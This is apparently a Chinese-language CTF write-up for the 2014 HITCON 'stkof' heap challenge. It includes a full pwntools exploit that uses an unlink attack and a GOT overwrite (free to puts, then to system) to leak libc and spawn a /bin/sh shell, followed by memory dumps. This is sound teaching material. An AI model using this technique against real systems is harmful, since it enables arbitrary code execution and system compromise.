title: 2014 HITCON stkof (Unlink)
date: 2018-03-28 21:23:18
categories:
$ checksec stkof
[*] '/home/pwn/\xe6\xa1\x8c\xe9\x9d\xa2/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看出,程序是 64 位的,主要开启了 Canary 和 NX 保护。
值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为1024 和 1024。
初次调用 fgets 时,malloc会分配缓冲区 1024 大小。
使用pwntools,利用unlink漏洞,改写free为puts,实现任意地址泄露。然后使用DynELF找到system,再将free替换为system,执行system(‘/bin/sh’)。
from pwn import *
#context.log_level = 'debug'
sock = process('./stkof')
def add(len):
sock.sendline('1')
sock.sendline(str(len))
sock.recvn(5)
def edit(index, content):
sock.sendline('2')
sock.sendline(str(index))
sock.sendline(str(len(content)))
sock.send(content)
sock.recvn(3)
def delete(index):
sock.sendline('3')
sock.sendline(str(index))
#leak at least 1 byte then everything is OK
def peek(addr):
edit(2, 'A'*16 + p64(addr))
delete(1) # push(addr)
str = sock.recvuntil('OK\n')
result = str.split('\x0aOK')[0]
if result == '':
return '\x00'
return result
#chunk list
bag = 0x602140
add(0x48) #1
add(0x48) #2
add(0x100-8) #3
add(0x100-8) #4
add(0x100-8) #5
# 反汇编代码中表示 i++ , 先相加在赋值 ,请看代码下面
# x 指向buf[2]
x = bag + 2*8
fd = x - 0x18
bk = x - 0x10
edit(2, p64(0) + p64(0) + p64(fd) + p64(bk) + 'C'*32 + p64(0x40) + '\x00')
#free后 buf[2] 可以写入 &buf[2]-3,请看代码下面
delete(3)
sock.recvn(3)
puts_plt = 0x400760
free_got = 0x602018
atoi_got = 0x602088
alarm_got = 0x602048
puts_got = 0x602020
#replace free by puts
edit(2, 'A'*16 + p64(free_got))
edit(1, p64(puts_plt))
# 为什么是puts_plt 而不是puts_got,
# 根据延迟绑定技术, 我猜想是:
# 函数执行后 ,puts_plt 才是真正的函数执行代码的地址
# puts 没有执行过, 所以用 puts_plt
d = DynELF(peek, elf=ELF('./stkof'))
system_addr = int(d.lookup('system', 'libc'))
#write /bin/sh
edit(4, '/bin/sh\0')
#replace free by system
edit(2, 'A'*16 + p64(free_got))
edit(1, p64(system_addr))
#call system(/bin/sh)
delete(4) #system(/bin/sh)
sock.interactive()
第一次 free() 控制读写
0x602140 为 buf[0] 的位置,但是chunk list 开始保存的位置在0x602148 即 buf[1]。
0x602150 即 buf[2] 可以写入 0x0000000000602138 , 覆盖 chunk lish 。
0x602140: 0x0000000000000000 0x00000000026b0020
0x602150: 0x0000000000602138 0x00000000026b04d0
0x602160: 0x00000000026b05d0 0x00000000026b06d0
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
https://blog.csdn.net/fuchuangbob/article/details/51649353
https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/#_3
http://yunnigu.dropsec.xyz/2017/02/24/%E5%BB%B6%E8%BF%9F%E7%BB%91%E5%AE%9A%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86/